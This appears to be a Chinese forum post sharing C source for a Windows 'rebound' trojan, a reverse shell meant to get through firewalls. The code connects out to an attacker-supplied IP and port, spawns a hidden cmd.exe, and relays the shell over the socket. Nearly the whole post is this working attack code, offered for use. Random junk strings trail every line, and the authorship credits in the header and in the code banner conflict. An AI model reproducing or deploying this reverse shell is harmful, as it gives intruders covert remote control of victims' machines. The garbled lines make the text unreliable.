这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 7hT@,|(j
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/* ============================== AL|3_+G
Rebound port in Windows NT D{JwZL@7k2
By wind,2006/7 $5>m\wrl
===============================*/ f0*_& rP
#include =:\5*
#include ow#8oUf=
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#pragma comment(lib,"wsock32.lib") 0+AMN-
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void OutputShell(); ;&MnPFmq
SOCKET sClient; `k(m2k?
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 8[:G/8VI
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void main(int argc,char **argv) /`j2%8^N
{ g-cg3Vso
WSADATA stWsaData; K+P a b ?
int nRet; c!mMH~#
SOCKADDR_IN stSaiClient,stSaiServer; Yh{5O3(;
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if(argc != 3) GZm=>!T
{ *pyC<4W
printf("Useage:\n\rRebound DestIP DestPort\n"); Ho $+[K
return; BJ{?S{"6%G
} R#s_pW{op
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WSAStartup(MAKEWORD(2,2),&stWsaData); \p!m/2
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _WI~b
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stSaiClient.sin_family = AF_INET; (R(NEN
stSaiClient.sin_port = htons(0); ovaX_d)cU
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); }sp?@C,Z
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) f4vdJ5pV
{ Hro)m"
printf("Bind Socket Failed!\n"); BRv#`
return; CjJ n
}
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stSaiServer.sin_family = AF_INET; *p|->p6,u
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); SKGnx
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); !e('T@^u6u
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) boZ/*+t
{ ;HiaX<O!
printf("Connect Error!"); IEWl
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return; LYTnMrM
} ^Zlbs
goZ
OutputShell(); zR?1iV.]
} ^BP4l_rO9
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void OutputShell() MPLeqk$;
{ ${`q!
char szBuff[1024]; &?k`rF9
SECURITY_ATTRIBUTES stSecurityAttributes; e'|c59E
OSVERSIONINFO stOsversionInfo; 2hTsjJ!'
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; eQIS`T
STARTUPINFO stStartupInfo; b(> G
char *szShell; V=c?V/pl
PROCESS_INFORMATION stProcessInformation; <ILi38%Y
unsigned long lBytesRead;
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); )4H0Bz2G
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 7r pTk&`
stSecurityAttributes.lpSecurityDescriptor = 0; sR| /s3;
stSecurityAttributes.bInheritHandle = TRUE; 7>-99o^W
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); i'}"5O+
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); N5b&tJbM0
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); zoj
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S(: |S(
stStartupInfo.wShowWindow = SW_HIDE; Az/P;C=
stStartupInfo.hStdInput = hReadPipe; [ *
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; <<H'Z
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GetVersionEx(&stOsversionInfo); Htep3Ol3
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switch(stOsversionInfo.dwPlatformId) 5e2yJ R
{ d!"gb,ec
case 1: mOb@w/f
szShell = "command.com"; B'6(Ao=3/
break; }RQ'aeVl(
default: $[b1_Db
szShell = "cmd.exe"; dCzS f4:
break; D?"Q)kVuD
} V_KHVul
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); =HMuAUa.
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send(sClient,szMsg,77,0); ppO!v?
while(1) *k 0;R[IAV
{ c32"$g
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); A \Z _br
if(lBytesRead) _;-b ZH
{ (dym*_J
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); r1sA^2g.
send(sClient,szBuff,lBytesRead,0); ?y^ ix+M
} IOl0=+p
else f1t?<=3Ek<
{ !KHbsOT?9
lBytesRead=recv(sClient,szBuff,1024,0); 3GZrVhU?m
if(lBytesRead<=0) break; MED_#OS
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); a(x#6
} 2-:` lrVd
} Bhe0z|&
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return; $EZr@n
}